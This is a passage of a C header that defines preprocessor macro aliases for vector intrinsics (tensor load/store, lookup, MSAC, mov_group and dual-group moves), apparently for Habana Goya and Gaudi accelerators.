v_u32_ld_tnsr_high_i_vb\n#define v_i16_ld_tnsr_high_reg_i_s_vb v_i16_ld_tnsr_high_i_vb\n#define v_u16_ld_tnsr_high_reg_i_s_vb v_u16_ld_tnsr_high_i_vb\n#define v_i8_ld_tnsr_high_reg_i_s_vb v_i8_ld_tnsr_high_i_vb\n#define v_u8_ld_tnsr_high_reg_i_s_vb v_u8_ld_tnsr_high_i_vb\n#define bv_ld_tnsr_high_reg_i_s_vb bv_ld_tnsr_high_i_vb\n\n#define v_f32_ld_tnsr_high_reg_i_s v_f32_ld_tnsr_high_i\n#define v_bf16_ld_tnsr_high_reg_i_s v_bf16_ld_tnsr_high_i\n#define v_i32_ld_tnsr_high_reg_i_s v_i32_ld_tnsr_high_i\n#define v_u32_ld_tnsr_high_reg_i_s v_u32_ld_tnsr_high_i\n#define v_i16_ld_tnsr_high_reg_i_s v_i16_ld_tnsr_high_i\n#define v_u16_ld_tnsr_high_reg_i_s v_u16_ld_tnsr_high_i\n#define v_i8_ld_tnsr_high_reg_i_s v_i8_ld_tnsr_high_i\n#define v_u8_ld_tnsr_high_reg_i_s v_u8_ld_tnsr_high_i\n#define bv_ld_tnsr_high_reg_i_s bv_ld_tnsr_high_i\n// TODO: Deprecate them ^^^\n\n// LOOKUP\n#if defined(__gaudi__)\n#define UPPER_HALF (1 << 2)\n#endif\n\n//--- f32 ---\n#define v_f32_lookup_v_b(a, i, t, f, p, o) v_f32_lookup(a, f, t, i, p, o)\n#define v_f32_lookup_v(a, t, f) v_f32_lookup_v_b(a, 0, t, f, 1, 0)\n#define v_i16_lookup_v_b(a, i, t, f, p, o)\t\t\t\t\tv_i16_lookup(a, f, t, i, p, o)\n#define v_i16_lookup_v(a, i, t, f)\t\t\t\t\t\t\tv_i16_lookup_v_b(a, i, t, f, 1, 0)\n#define v_i8_lookup_v_b(a, i, t, f, p, o)\t\t\t\t\tv_i8_lookup(a, f, t, i, p, o)\n#define v_i8_lookup_v(a, i, t, f)\t\t\t\t\t\t\tv_i8_lookup_v_b(a, i, t, f, 1, 0)\n#define v_i32_lookup_v_b(a, i, t, f, p, o)\t\t\t\t\tv_i32_lookup(a, f, t, i, p, o)\n#define v_i32_lookup_v(a, t, f)\t\t\t\t\t\t\t\tv_i32_lookup_v_b(a, 0, t, f, 1, 0)\n#define v_u32_lookup_v_b(a, i, t, f, p, o)\t\t\t\t\tv_u32_lookup(a, f, t, i, p, o)\n#define v_u32_lookup_v(a, t, f)\t\t\t\t\t\t\t\tv_u32_lookup_v_b(a, 0, t, f, 1, 0)\n#define v_u16_lookup_v_b(a, i, t, f, p, o)\t\t\t\t\tv_u16_lookup(a, f, t, i, p, o)\n#define v_u16_lookup_v(a, i, t, f)\t\t\t\t\t\t\tv_u16_lookup_v_b(a, i, t, f, 1, 0)\n\n#if defined(__goya__)\n#define v_f32_lookup_c0_v_b(a, i, t, f, p, o)\t\t\t\tv_f32_lookup_c0(a, f, t, i, p, o)\n#define v_f32_lookup_c0_v(a, t, f)\t\t\t\t\t\t\tv_f32_lookup_c0_v_b(a, 0, t, f, 1, 0)\n#define v_f32_lookup_c1c2_v_b(a, i, t, f, p, o) v_f32_lookup_c1c2(a, f, t, i, p, o)\n#define v_f32_lookup_c1c2_v(a, t, f) v_f32_lookup_c1c2_v_b(a, (float64_pair_t){0}, t, f, 1, 0)\n#define v_i16_lookup_c0_v_b(a, i, t, f, p, o)\t\t\t\tv_i16_lookup_c0(a, f, t, i, p, o)\n#define v_i16_lookup_c0_v(a, i, t, f)\t\t\t\t\t\tv_i16_lookup_c0_v_b(a, i, t, f, 1, 0)\n#define v_i16_lookup_c1c2_v_b(a, i, t, f, p, o) v_i16_lookup_c1c2(a, f, t, i, p, o)\n#define v_i16_lookup_c1c2_v(a, i, t, f)\t\t\t\t\t\tv_i16_lookup_c1c2_v_b(a, i, t, f, 1, 0)\n#define v_i8_lookup_c0_v_b(a, i, t, f, p, o)\t\t\t\tv_i8_lookup_c0(a, f, t, i, p, o)\n#define v_i8_lookup_c0_v(a, i, t, f)\t\t\t\t\t\tv_i8_lookup_c0_v_b(a, i, t, f, 1, 0)\n#define v_i8_lookup_c1c2_v_b(a, i, t, f, p, o) v_i8_lookup_c1c2(a, f, t, i, p, o)\n#define v_i8_lookup_c1c2_v(a, i, t, f)\t\t\t\t\t\tv_i8_lookup_c1c2_v_b(a, i, t, f, 1, 0)\n#define v_u16_lookup_c0_v_b(a, i, t, f, p, o)\t\t\t\tv_u16_lookup_c0(a, f, t, i, p, o)\n#define v_u16_lookup_c0_v(a, i, t, f)\t\t\t\t\t\tv_u16_lookup_c0_v_b(a, i, t, f, 1, 0)\n#define v_u16_lookup_c1c2_v_b(a, i, t, f, p, o) v_u16_lookup_c1c2(a, f, t, i, p, o)\n#define v_u16_lookup_c1c2_v(a, i, t, f)\t\t\t\t\t\tv_u16_lookup_c1c2_v_b(a, i, t, f, 1, 0)\n#endif\n\n#if defined(__gaudi__)\n#define v_f32_lookup_upper_half_v_b(a, i, t, f, p, o) v_f32_lookup(a, f, (UPPER_HALF | t), i, p, o)\n#define v_f32_lookup_upper_half_v(a, t, f) v_f32_lookup_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_f32_lookup_1c_v_b(a, i, t, f, p, o)\t\t\t\tv_f32_lookup_1c(a, f, t, i, p, o)\n#define v_f32_lookup_1c_v(a, t, f) v_f32_lookup_1c_v_b(a, 0, t, f, 1, 0)\n#define v_f32_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_f32_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_f32_lookup_1c_upper_half_v(a, t, f) v_f32_lookup_1c_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_f32_lookup_2c_v_b(a, i, t, f, p, o) v_f32_lookup_2c(a, f, t, i, p, o)\n#define v_f32_lookup_2c_v(a, t, f) v_f32_lookup_2c_v_b(a, (float64_pair_t){0}, t, f, 1, 0)\n#define v_f32_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_f32_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_f32_lookup_2c_upper_half_v(a, t, f) v_f32_lookup_2c_upper_half_v_b(a, (float64_pair_t){0}, t, f, 1, 0)\n#define v_bf16_lookup_1c_v_b(a, i, t, f, p, o) v_bf16_lookup_1c(a, f, t, i, p, o)\n#define v_bf16_lookup_1c_v(a, i, t, f) v_bf16_lookup_1c_v_b(a, 0, t, f, 1, 0)\n#define v_bf16_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_bf16_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_bf16_lookup_1c_upper_half_v(a, i, t, f) v_bf16_lookup_1c_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_bf16_lookup_2c_v_b(a, i, t, f, p, o) v_bf16_lookup_2c(a, f, t, i, p, o)\n#define v_bf16_lookup_2c_v(a, i, t, f) v_bf16_lookup_2c_v_b(a, i, t, f, 1, 0)\n#define v_bf16_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_bf16_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_bf16_lookup_2c_upper_half_v(a, i, t, f) v_bf16_lookup_2c_upper_half_v_b(a, i, t, f, 1, 0)\n#define v_i32_lookup_upper_half_v_b(a, i, t, f, p, o) v_i32_lookup(a, f, UPPER_HALF | t, i, p, o)\n#define v_i32_lookup_upper_half_v(a, t, f) v_i32_lookup_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_i32_lookup_1c_v_b(a, i, t, f, p, o)\t\t\t\tv_i32_lookup_1c(a, f, t, i, p, o)\n#define v_i32_lookup_1c_v(a, t, f)\t\t\t\t\t\t\tv_i32_lookup_1c_v_b(a, 0, t, f, 1, 0)\n#define v_i32_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_i32_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_i32_lookup_1c_upper_half_v(a, t, f) v_i32_lookup_1c_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_i32_lookup_2c_v_b(a, i, t, f, p, o)\t\t\t\tv_i32_lookup_2c(a, f, t, i, p, o)\n#define v_i32_lookup_2c_v(a, t, f) v_i32_lookup_2c_v_b(a, (int64_pair_t){0}, t, f, 1, 0)\n#define v_i32_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_i32_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_i32_lookup_2c_upper_half_v(a, t, f) v_i32_lookup_2c_upper_half_v_b(a, (int64_pair_t){0}, t, f, 1, 0)\n#define v_i16_lookup_1c_v_b(a, i, t, f, p, o)\t\t\t\tv_i16_lookup_1c(a, f, t, i, p, o)\n#define v_i16_lookup_1c_v(a, i, t, f)\t\t\t\t\t\tv_i16_lookup_1c_v_b(a, i, t, f, 1, 0)\n#define v_i16_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_i16_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_i16_lookup_1c_upper_half_v(a, i, t, f) v_i16_lookup_1c_upper_half_v_b(a, i, t, f, 1, 0)\n#define v_i16_lookup_2c_v_b(a, i, t, f, p, o)\t\t\t\tv_i16_lookup_2c(a, f, t, i, p, o)\n#define v_i16_lookup_2c_v(a, i, t, f)\t\t\t\t\t\tv_i16_lookup_2c_v_b(a, i, t, f, 1, 0)\n#define v_i16_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_i16_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_i16_lookup_2c_upper_half_v(a, i, t, f) v_i16_lookup_2c_upper_half_v_b(a, i, t, f, 1, 0)\n#define v_u32_lookup_1c_v_b(a, i, t, f, p, o)\t\t\t\tv_u32_lookup_1c(a, f, t, i, p, o)\n#define v_u32_lookup_1c_v(a, t, f)\t\t\t\t\t\t\tv_u32_lookup_1c_v_b(a, 0, t, f, 1, 0)\n#define v_u32_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_u32_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_u32_lookup_1c_upper_half_v(a, t, f) v_u32_lookup_1c_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_u32_lookup_2c_v_b(a, i, t, f, p, o)\t\t\t\tv_u32_lookup_2c(a, f, t, i, p, o)\n#define v_u32_lookup_2c_v(a, t, f) v_u32_lookup_2c_v_b(a, (uint64_pair_t){0}, t, f, 1, 0)\n#define v_u32_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_u32_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_u32_lookup_2c_upper_half_v(a, t, f) v_u32_lookup_2c_upper_half_v_b(a, (uint64_pair_t){0}, t, f, 1, 0)\n#define v_u32_lookup_upper_half_v_b(a, i, t, f, p, o) v_u32_lookup(a, f, UPPER_HALF | t, i, p, o)\n#define v_u32_lookup_upper_half_v(a, t, f) v_u32_lookup_upper_half_v_b(a, 0, t, f, 1, 0)\n#define v_u16_lookup_1c_v_b(a, i, t, f, p, o)\t\t\t\tv_u16_lookup_1c(a, f, t, i, p, o)\n#define v_u16_lookup_1c_v(a, i, t, f)\t\t\t\t\t\tv_u16_lookup_1c_v_b(a, i, t, f, 1, 0)\n#define v_u16_lookup_1c_upper_half_v_b(a, i, t, f, p, o) v_u16_lookup_1c(a, f, UPPER_HALF | t, i, p, o)\n#define v_u16_lookup_1c_upper_half_v(a, i, t, f) v_u16_lookup_1c_upper_half_v_b(a, i, t, f, 1, 0)\n#define v_u16_lookup_2c_v_b(a, i, t, f, p, o)\t\t\t\tv_u16_lookup_2c(a, f, t, i, p, o)\n#define v_u16_lookup_2c_v(a, i, t, f)\t\t\t\t\t\tv_u16_lookup_2c_v_b(a, i, t, f, 1, 0)\n#define v_u16_lookup_2c_upper_half_v_b(a, i, t, f, p, o) v_u16_lookup_2c(a, f, UPPER_HALF | t, i, p, o)\n#define v_u16_lookup_2c_upper_half_v(a, i, t, f) v_u16_lookup_2c_upper_half_v_b(a, i, t, f, 1, 0)\n#endif\n\n// MSAC\n#if defined(__goya__)\n#define v_i8_msac_v_v_v_v_b(a, b, c, d, i, r, n, p, o) v_i8_msac_b(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_i8_msac_v_s_v_v_b v_i8_msac_v_v_v_v_b\n#define v_i8_msac_v_v_v_s_b v_i8_msac_v_v_v_v_b\n#define v_i8_msac_v_v_v_v(a, b, c, d, i, r, n) v_i8_msac_v_v_v_v_b(a, b, c, d, i, r, n, 1, 0)\n#define v_i8_msac_v_s_v_v v_i8_msac_v_v_v_v\n#define v_i8_msac_v_v_v_s v_i8_msac_v_v_v_v\n#define v_i8_msac_v_v_v_v_vb(a, b, c, d, i, r, n, p, o) v_i8_msac_vb(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_i8_msac_v_s_v_v_vb v_i8_msac_v_v_v_v_vb\n#define v_i8_msac_v_v_v_s_vb v_i8_msac_v_v_v_v_vb\n\n#define v_u8_msac_v_v_v_v_b(a, b, c, d, i, r, n, p, o) v_u8_msac_b(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_u8_msac_v_s_v_v_b v_u8_msac_v_v_v_v_b\n#define v_u8_msac_v_v_v_s_b v_u8_msac_v_v_v_v_b\n#define v_u8_msac_v_v_v_v(a, b, c, d, i, r, n) v_u8_msac_v_v_v_v_b(a, b, c, d, i, r, n, 1, 0)\n#define v_u8_msac_v_s_v_v v_u8_msac_v_v_v_v\n#define v_u8_msac_v_v_v_s v_u8_msac_v_v_v_v\n#define v_u8_msac_v_v_v_v_vb(a, b, c, d, i, r, n, p, o) v_u8_msac_vb(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_u8_msac_v_s_v_v_vb v_u8_msac_v_v_v_v_vb\n#define v_u8_msac_v_v_v_s_vb v_u8_msac_v_v_v_v_vb\n\n#define v_i16_msac_v_v_v_v_b(a, b, c, d, i, r, n, p, o) v_i16_msac_b(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_i16_msac_v_s_v_v_b v_i16_msac_v_v_v_v_b\n#define v_i16_msac_v_v_v_s_b v_i16_msac_v_v_v_v_b\n#define v_i16_msac_v_v_v_v(a, b, c, d, i, r, n) v_i16_msac_v_v_v_v_b(a, b, c, d, i, r, n, 1, 0)\n#define v_i16_msac_v_s_v_v v_i16_msac_v_v_v_v\n#define v_i16_msac_v_v_v_s v_i16_msac_v_v_v_v\n#define v_i16_msac_v_v_v_v_vb(a, b, c, d, i, r, n, p, o) v_i16_msac_vb(a, b, c, d, (n << 2) | (r << 1), i, to_bool128(p), o)\n#define v_i16_msac_v_s_v_v_vb v_i16_msac_v_v_v_v_vb\n#define v_i16_msac_v_v_v_s_vb v_i16_msac_v_v_v_v_vb\n\n#define v_u16_msac_v_v_v_v_b(a, b, c, d, i, r, n, p, o) v_u16_msac_b(a, b, c, d, (n << 2) | (r << 1), i, p, o)\n#define v_u16_msac_v_s_v_v_b v_u16_msac_v_v_v_v_b\n#define v_u16_msac_v_v_v_s_b v_u16_msac_v_v_v_v_b\n#define v_u16_msac_v_v_v_v(a, b, c, d, i, r, n) v_u16_msac_v_v_v_v_b(a, b, c, d, i, r, n, 1, 0)\n#define v_u16_msac_v_s_v_v v_u16_msac_v_v_v_v\n#define v_u16_msac_v_v_v_s v_u16_msac_v_v_v_v\n#define v_u16_msac_v_v_v_v_vb(a, b, c, d, i, r, n, p, o) v_u16_msac_vb(a, b, c, d, (n << 2) | (r << 1), i, to_bool128(p), o)\n#define v_u16_msac_v_s_v_v_vb v_u16_msac_v_v_v_v_vb\n#define v_u16_msac_v_v_v_s_vb v_u16_msac_v_v_v_v_vb\n#endif\n\n\n// MOV_GROUP\n#define v_f32_mov_group_v_vb(a, b, i, g, d, p, o) v_f32_mov_group_vb(a, b, (d << 2) | g, i, to_bool64(p), o)\n#define v_bf16_mov_group_v_vb(a, b, i, g, d, p, o) v_bf16_mov_group_vb(a, b, (d << 2) | g, i, to_bool128(p), o)\n#define v_i32_mov_group_v_vb(a, b, i, g, d, p, o) v_i32_mov_group_vb(a, b, (d << 2) | g, i, to_bool64(p), o)\n#define v_u32_mov_group_v_vb(a, b, i, g, d, p, o) v_u32_mov_group_vb(a, b, (d << 2) | g, i, to_bool64(p), o)\n#define v_i16_mov_group_v_vb(a, b, i, g, d, p, o) v_i16_mov_group_vb(a, b, (d << 2) | g, i, to_bool128(p), o)\n#define v_u16_mov_group_v_vb(a, b, i, g, d, p, o) v_u16_mov_group_vb(a, b, (d << 2) | g, i, to_bool128(p), o)\n#define v_i8_mov_group_v_vb(a, b, i, g, d, p, o) v_i8_mov_group_vb(a, b, (d << 2) | g, i, p, o)\n#define v_u8_mov_group_v_vb(a, b, i, g, d, p, o) v_u8_mov_group_vb(a, b, (d << 2) | g, i, p, o)\n\n#define v_f32_mov_group_v_b(a, b, i, g, d, p, o) v_f32_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_bf16_mov_group_v_b(a, b, i, g, d, p, o) v_bf16_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_i32_mov_group_v_b(a, b, i, g, d, p, o) v_i32_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_u32_mov_group_v_b(a, b, i, g, d, p, o) v_u32_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_i16_mov_group_v_b(a, b, i, g, d, p, o) v_i16_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_u16_mov_group_v_b(a, b, i, g, d, p, o) v_u16_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_i8_mov_group_v_b(a, b, i, g, d, p, o) v_i8_mov_group_b(a, b, (d << 2) | g, i, p, o)\n#define v_u8_mov_group_v_b(a, b, i, g, d, p, o) v_u8_mov_group_b(a, b, (d << 2) | g, i, p, o)\n\n#define v_f32_mov_group_v(a, b, i, g, d) v_f32_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_bf16_mov_group_v(a, b, i, g, d) v_bf16_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_i32_mov_group_v(a, b, i, g, d) v_i32_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_u32_mov_group_v(a, b, i, g, d) v_u32_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_i16_mov_group_v(a, b, i, g, d) v_i16_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_u16_mov_group_v(a, b, i, g, d) v_u16_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_i8_mov_group_v(a, b, i, g, d) v_i8_mov_group_v_b(a, b, i, g, d, 1, 0)\n#define v_u8_mov_group_v(a, b, i, g, d) v_u8_mov_group_v_b(a, b, i, g, d, 1, 0)\n\n// MOV_DUAL_GROUP\n#define MkWr(l, u) (((l) ? SW_WR_LOWER_GROUP : 0) | ((u) ? SW_WR_UPPER_GROUP : 0))\n#define v_f32_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_f32_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool64(p), o)\n#define v_f32_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_f32_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_bf16_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_bf16_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool128(p), o)\n#define v_bf16_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_bf16_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_i32_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_i32_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool64(p), o)\n#define v_i32_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_i32_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_u32_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_u32_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool64(p), o)\n#define v_u32_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_u32_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_i16_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_i16_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool128(p), o)\n#define v_i16_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_i16_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_u16_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_u16_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, to_bool128(p), o)\n#define v_u16_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_u16_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_i8_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_i8_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_i8_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_i8_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_u8_mov_dual_group_v_vb(a, b, i, s, d, l, u, p, o) v_u8_mov_dual_group_vb(a, b, s, d, MkWr(l, u), i, p, o)\n#define v_u8_mov_dual_group_v_b(a, b, i, s, d, l, u, p, o) v_u8_mov_dual_group_b(a, b, s, d, MkWr(l, u), i, p, o)\n\n#define v_f32_mov_dual_group_v(a, b, i, s, d, l, u) v_f32_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_bf16_mov_dual_group_v(a, b, i, s, d, l, u) v_bf16_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_i32_mov_dual_group_v(a, b, i, s, d, l, u) v_i32_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_u32_mov_dual_group_v(a, b, i, s, d, l, u) v_u32_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_i16_mov_dual_group_v(a, b, i, s, d, l, u) v_i16_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_u16_mov_dual_group_v(a, b, i, s, d, l, u) v_u16_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_i8_mov_dual_group_v(a, b, i, s, d, l, u) v_i8_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n#define v_u8_mov_dual_group_v(a, b, i, s, d, l, u) v_u8_mov_dual_group_v_b(a, b, i, s, d, l, u, 1, 0)\n\n#define MkWrA(w0, w1, w2, w3) (((w0) << 16) | ((w1) << 18) | ((w2) << 20) | ((w3) << 22))\n#define v_f32_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_f32_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool64(p), o)\n#define v_f32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_f32_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_bf16_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_bf16_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool128(p), o)\n#define v_bf16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_bf16_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_i32_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i32_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool64(p), o)\n#define v_i32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i32_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_u32_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u32_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool64(p), o)\n#define v_u32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u32_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_i16_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i16_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool128(p), o)\n#define v_i16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i16_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_u16_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u16_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, to_bool128(p), o)\n#define v_u16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u16_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_i8_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i8_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_i8_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_i8_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_u8_mov_dual_group_all_v_vb(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u8_mov_dual_group_all_vb(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n#define v_u8_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, p, o) v_u8_mov_dual_group_all_b(a, b, s0, s1, s2, s3, MkWrA(w0, w1, w2, w3), i, p, o)\n\n#define v_f32_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_f32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_bf16_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_bf16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_i32_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_i32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_u32_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_u32_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_i16_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_i16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_u16_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_u16_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_i8_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_i8_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n#define v_u8_mov_dual_group_all_v(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3) v_u8_mov_dual_group_all_v_b(a, b, i, s0, s1, s2, s3, w0, w1, w2, w3, 1, 0)\n\n\n// ST_TNSR\n\n#define f32_st_tnsr_i_v_b(n, t, v, p, o) v_f32_st_tnsr(n, t, v, 0, p, o)\n#define bf16_st_tnsr_i_v_b(n, t, v, p, o) v_bf16_st_tnsr(n, t, v, 0, p, o)\n#define i32_st_tnsr_i_v_b(n, t, v, p, o) v_i32_st_tnsr(n, t, v, 0, p, o)\n#define u32_st_tnsr_i_v_b(n, t, v, p, o) v_u32_st_tnsr(n, t, v, 0, p, o)\n#define i16_st_tnsr_i_v_b(n, t, v, p, o) v_i16_st_tnsr(n, t, v, 0, p, o)\n#define u16_st_tnsr_i_v_b(n, t, v, p, o) v_u16_st_tnsr(n, t, v, 0, p, o)\n#define i8_st_tnsr_i_v_b(n, t, v, p, o) v_i8_st_tnsr(n, t, v, 0, p, o)\n#define u8_st_tnsr_i_v_b(n, t, v, p, o) v_u8_st_tnsr(n, t, v, 0, p, o)\n#define st_tnsr_i_bv_b(n, t, v, p, o) v_i1_st_tnsr(n, t, v, 0, p, o)\n\n#define f32_st_tnsr_i_v(n, t, v) f32_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_i_v(n, t, v) bf16_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define f16_st_tnsr_i_v(n, t, v) f16_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_i_v(n, t, v) i32_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_i_v(n, t, v) u32_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_i_v(n, t, v) i16_st_tnsr_i_v_b(n, 